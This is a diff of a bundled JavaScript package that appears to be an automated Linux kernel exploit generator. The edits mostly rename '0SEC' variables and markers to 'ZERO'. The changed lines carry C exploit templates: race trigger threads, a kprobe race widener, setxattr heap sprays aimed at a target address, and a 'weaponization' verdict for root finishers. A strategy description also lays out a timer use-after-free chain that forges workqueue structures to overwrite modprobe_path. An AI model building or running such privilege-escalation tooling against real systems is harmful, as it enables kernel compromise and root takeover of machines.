-    `       0SEC_RACE_SPRAY_THREADS (default ${sprayDefault}) \u2014 continuous same-CPU reclaim spray threads`,
-    "       0SEC_RACE_PARK_US       (read by the widener) \u2014 kprobe mdelay park width",
-    `       0SEC_RACE_SECONDS       (default ${secsDefault}) \u2014 wall-clock budget per boot`,
-    "       0SEC_RACE_SAME_CPU      (default 0) \u2014 1 pins the flood onto the free/spray CPU too */",
+    `       ZERO_RACE_FLOOD_THREADS (default ${floodDefault}) \u2014 continuous SYSEX flood threads`,
+    `       ZERO_RACE_SPRAY_THREADS (default ${sprayDefault}) \u2014 continuous same-CPU reclaim spray threads`,
+    "       ZERO_RACE_PARK_US       (read by the widener) \u2014 kprobe mdelay park width",
+    `       ZERO_RACE_SECONDS       (default ${secsDefault}) \u2014 wall-clock budget per boot`,
+    "       ZERO_RACE_SAME_CPU      (default 0) \u2014 1 pins the flood onto the free/spray CPU too */",
     "  if (osec_seq_setup() == 0) {",
     "    /* Stage the LARGE recon SYSEX payload (F0 .. 7-bit data .. F7), the manual",
     "       proof's SYSEX_LEN=2048 class. This is the FALLBACK flood payload used only",
@@ -594,7 +594,7 @@ function emitTriggerDriver(params) {
     "       than recon \u2014 see osec_flood_thread). The length is env-tunable so the rig",
     "       can sweep it without re-emitting. */",
     "    unsigned long recon_len = (unsigned long)osec_race_envint(",
-    '      "0SEC_RECON_SYSEX_LEN", OSEC_RECON_SYSEX_LEN_DEFAULT);',
+    '      "ZERO_RECON_SYSEX_LEN", OSEC_RECON_SYSEX_LEN_DEFAULT);',
     "    if (recon_len < 8) recon_len = 8;",
     "    if (recon_len > sizeof(g_recon_payload)) recon_len = sizeof(g_recon_payload);",
     "    g_recon_payload[0] = 0xF0;",
@@ -614,10 +614,10 @@ function emitTriggerDriver(params) {
       "       escalation write delivered). Honest: g_esc_len stays 0. */"
     ],
     "    /* Resolve the race knobs (env wins, else sane manual-proof defaults). */",
-    `    int n_flood = osec_race_envint("0SEC_RACE_FLOOD_THREADS", ${floodDefault});`,
-    `    int n_spray = osec_race_envint("0SEC_RACE_SPRAY_THREADS", ${sprayDefault});`,
-    `    int run_secs = osec_race_envint("0SEC_RACE_SECONDS", ${secsDefault});`,
-    '    int same_cpu = osec_race_envint("0SEC_RACE_SAME_CPU", 0);',
+    `    int n_flood = osec_race_envint("ZERO_RACE_FLOOD_THREADS", ${floodDefault});`,
+    `    int n_spray = osec_race_envint("ZERO_RACE_SPRAY_THREADS", ${sprayDefault});`,
+    `    int run_secs = osec_race_envint("ZERO_RACE_SECONDS", ${secsDefault});`,
+    '    int same_cpu = osec_race_envint("ZERO_RACE_SAME_CPU", 0);',
     "    if (n_flood < 1) n_flood = 1;",
     "    if (n_spray < 1) n_spray = 1;",
     "    if (run_secs < 1) run_secs = 1;",
@@ -627,7 +627,7 @@ function emitTriggerDriver(params) {
     "    if (same_cpu) g_cpu_flood = g_cpu_free;",
     "    long ncpu = sysconf(_SC_NPROCESSORS_ONLN);",
     "    if (ncpu > 0 && g_cpu_flood >= ncpu) g_cpu_flood = same_cpu ? g_cpu_free : 0;",
-    "    (void)osec_install_kprobe_widener(); /* best-effort, fail-soft (reads 0SEC_RACE_PARK_US) */",
+    "    (void)osec_install_kprobe_widener(); /* best-effort, fail-soft (reads ZERO_RACE_PARK_US) */",
     "    /* BUG#1 FIX: arm the race BEFORE forking the dropped-uid trigger. The child",
     "       inherits g_race_run at fork() time, so if it were still 0 the child's",
     "       while (g_race_run) request_module loop would never run (it would print",
@@ -745,12 +745,12 @@ function assessWeaponization(input) {
   return { finisher, complete: gaps.length === 0, gaps };
 }
 var PARTIAL_MARKER_TAG = "PARTIAL";
-var PARTIAL_DEFINE = "0SEC_WEAPONIZATION_PARTIAL";
+var PARTIAL_DEFINE = "ZERO_WEAPONIZATION_PARTIAL";
 var COMPLETE_DEFINE = "OSEC_WEAPONIZATION_COMPLETE";
 function artifactVerdictLine(a) {
   const status = a.complete ? "COMPLETE" : "PARTIAL";
   const gaps = a.gaps.length ? a.gaps.join(",") : "none";
-  return `0SEC-ARTIFACT: ${status} finisher=${a.finisher} gaps=${gaps}`;
+  return `ZERO-ARTIFACT: ${status} finisher=${a.finisher} gaps=${gaps}`;
 }
 
 // packages/core/dist/kernel/exploit/templates.js
@@ -799,9 +799,9 @@ function markerPreamble(canary) {
     "/* Print a deterministic, canary-bound success marker the oracle keys on. */",
     "static void osec_marker(const char *tag, const char *detail) {",
     "  if (detail && detail[0])",
-    '    printf("0SEC-CANARY:%s:%s:%s\\n", OSEC_CANARY, tag, detail);',
+    '    printf("ZERO-CANARY:%s:%s:%s\\n", OSEC_CANARY, tag, detail);',
     "  else",
-    '    printf("0SEC-CANARY:%s:%s\\n", OSEC_CANARY, tag);',
+    '    printf("ZERO-CANARY:%s:%s\\n", OSEC_CANARY, tag);',
     "  fflush(stdout);",
     "}",
     "",
@@ -817,7 +817,7 @@ function markerPreamble(canary) {
     "/* The CPU the free + reclaim spray share (the manual-proof same-CPU freelist",
     "   assumption). Declared here (always present) so osec_reclaim_spray() can",
     "   pin to it; the ALSA continuous-thread driver overwrites it from the resolved",
-    "   0SEC_RACE_SAME_CPU topology before spawning. Default 0 for the generic",
+    "   ZERO_RACE_SAME_CPU topology before spawning. Default 0 for the generic",
     "   (no-family) path, which still pins spray + free to the same CPU. */",
     "int g_cpu_free = 0;",
     "",
@@ -890,7 +890,7 @@ function emitSetxattrSpray(victimBytes, profile, sprayId) {
     `  static unsigned char xbuf[${target}];`,
     "  memset(xbuf, 0x41, sizeof(xbuf));",
     dst !== void 0 ? `  *(unsigned long *)(xbuf + 0x${dst.toString(16)}) = g_target_addr;` : "  /* PARTIAL: no dstOffset \u2014 transient spray content unaimed. */",
-    '  for (int i = 0; i < 64; i++) setxattr("/tmp", "user.0sec", xbuf, sizeof(xbuf), 0);',
+    '  for (int i = 0; i < 64; i++) setxattr("/tmp", "user.0", xbuf, sizeof(xbuf), 0);',
     `  osec_marker("RECLAIM", "${cSafe(sprayId)}");`
   ];
 }
@@ -1411,11 +1411,11 @@ function emitWeaponizationC(opts) {
   const completenessDefines = assessment.complete ? [`#define ${COMPLETE_DEFINE} 1`, ""] : [
     `#define ${PARTIAL_DEFINE} 1`,
     `#define OSEC_WEAPONIZATION_GAPS "${assessment.gaps.map(cSafe).join(",")}"`,
-    `#warning "0sec: PARTIAL weaponization artifact - no complete root finisher (gaps: ${assessment.gaps.map(cSafe).join(",")}). This is a SCAFFOLD, not a working exploit."`,
+    `#warning "0: PARTIAL weaponization artifact - no complete root finisher (gaps: ${assessment.gaps.map(cSafe).join(",")}). This is a SCAFFOLD, not a working exploit."`,
     ""
   ];
   return [
-    `/* 0sec weaponization \u2014 strategy=${cSafe(opts.strategyId)}`,
+    `/* 0 weaponization \u2014 strategy=${cSafe(opts.strategyId)}`,
     ` * techniques: ${opts.techniques.join(", ")}`,
     ` * target rung: ${opts.targetRung}`,
     opts.objectHint ? ` * victim object: ${cSafe(opts.objectHint)}` : " * victim object: (unknown)",
@@ -1502,7 +1502,7 @@ var PRIMITIVE_LIBRARY = [
       "unlink-www"
     ],
     rootTail: "modprobe_path",
-    description: "The GuitarZero poison-tolerant sibling of the fake-cred one-shot (0sec#1215). Reclaim the freed timer-owning object with a user_key_payload (survives MEMCG + SLAB_BUCKETS), leak the chunk self-address (N-object same-bucket timer linkage, chunk = leaked\u2212344) and the timer-bucket per-CPU pointer, recover __per_cpu_offset[0], and forge a workqueue_struct+pool_workqueue at chunk+256 (256-aligned) pointing pwq->pool at the computed real cpu_worker_pools[0][0] \u2014 so delayed_work_timer_fn \u2192 __queue_work \u2192 process_one_work runs work->func in a REAL kworker (process context, NO arbitrary read). A survivable unlink-WWW gadget overwrites modprobe_path. Text base via EntryBleed (bare metal) or a companion leak (virtualized TSC); assumes CFI off (kCFI \u21D2 data-only tail). Composed by guitarzero-primitives.ts#composeTimerUafChain."
+    description: "The GuitarZero poison-tolerant sibling of the fake-cred one-shot (0#1215). Reclaim the freed timer-owning object with a user_key_payload (survives MEMCG + SLAB_BUCKETS), leak the chunk self-address (N-object same-bucket timer linkage, chunk = leaked\u2212344) and the timer-bucket per-CPU pointer, recover __per_cpu_offset[0], and forge a workqueue_struct+pool_workqueue at chunk+256 (256-aligned) pointing pwq->pool at the computed real cpu_worker_pools[0][0] \u2014 so delayed_work_timer_fn \u2192 __queue_work \u2192 process_one_work runs work->func in a REAL kworker (process context, NO arbitrary read). A survivable unlink-WWW gadget overwrites modprobe_path. Text base via EntryBleed (bare metal) or a companion leak (virtualized TSC); assumes CFI off (kCFI \u21D2 data-only tail). Composed by guitarzero-primitives.ts#composeTimerUafChain."
   }),
   strategy({
     id: "skmsg-uaf-msgmsg",
@@ -1595,12 +1595,12 @@ function getStrategy(id) {
 
 // packages/core/dist/kernel/exploit/harness.js
 function bootedCacheKey(explicit) {
-  const v = explicit ?? process.env["0SEC_KERNEL_QEMU_CACHEKEY"]?.trim();
+  const v = explicit ?? process.env["ZERO_KERNEL_QEMU_CACHEKEY"]?.trim();
   return v && v.length > 0 ? v : void 0;
 }
 function kernelVmArtifactsReady() {
-  const kernel = process.env["0SEC_KERNEL_QEMU_KERNEL"]?.trim();
-  const disk = process.env["0SEC_KERNEL_QEMU_DISK"]?.trim();
+  const kernel = process.env["ZERO_KERNEL_QEMU_KERNEL"]?.trim();
+  const disk = process.env["ZERO_KERNEL_QEMU_DISK"]?.trim();
   return Boolean(kernel && disk && existsSync(kernel) && existsSync(disk));
 }
 function mintCanary() {
@@ -1661,7 +1661,7 @@ async function runWeaponization(opts) {
       ran: false,
       highestRung: "none",
       attempts: [],
-      reason: "kernel-VM artifacts not present (0SEC_KERNEL_QEMU_KERNEL/DISK); harness is a no-op"
+      reason: "kernel-VM artifacts not present (ZERO_KERNEL_QEMU_KERNEL/DISK); harness is a no-op"
     };
   }
   const strategies = selectStrategies(opts.primitive);

package/chunks/{chunk-47TQJWDH.js → chunk-YHWWF4QY.js}

@@ -1,22 +1,22 @@
 #!/usr/bin/env node
-import { createRequire as __0secCreateRequire } from "node:module";
-const require = __0secCreateRequire(import.meta.url);
-import {
-  runReproducerInKernelVm
-} from "./chunk-SNKTC4BP.js";
+import { createRequire as __0CreateRequire } from "node:module";
+const require = __0CreateRequire(import.meta.url);
 import {
   makeSkepticVerifier,
   runHuntScan,
   scoreGeometry
-} from "./chunk-K26SZ37E.js";
+} from "./chunk-E2UOY5PJ.js";
+import {
+  runReproducerInKernelVm
+} from "./chunk-5T6D5BVY.js";
 import {
   LlmApiRuntime
-} from "./chunk-2SANI5RH.js";
+} from "./chunk-BACXRTQ4.js";
 import {
   __commonJS,
   __require,
   __toESM
-} from "./chunk-IR537GON.js";
+} from "./chunk-VCSFCHAJ.js";
 
 // packages/core/dist/stages/tree-sitter-runtime.cjs
 var require_tree_sitter_runtime = __commonJS({
@@ -3651,7 +3651,7 @@ async function runAssumptionHunt(input) {
   }
   let candidates = plan.candidates;
   if (input.finderTargeting !== false) {
-    const excerptDir = input.excerptDir ?? join(tmpdir(), `0sec-assumption-excerpts-${process.pid}`);
+    const excerptDir = input.excerptDir ?? join(tmpdir(), `0-assumption-excerpts-${process.pid}`);
     const focused = buildFocusedCandidates(crossCheck.kept, allContexts, bodies, excerptDir);
     const missed = new Set(focused.missedCallers);
     const fallback = plan.candidates.filter((c) => allContexts.some((ctx) => missed.has(ctx.caller) && ctx.callerFile === c.path));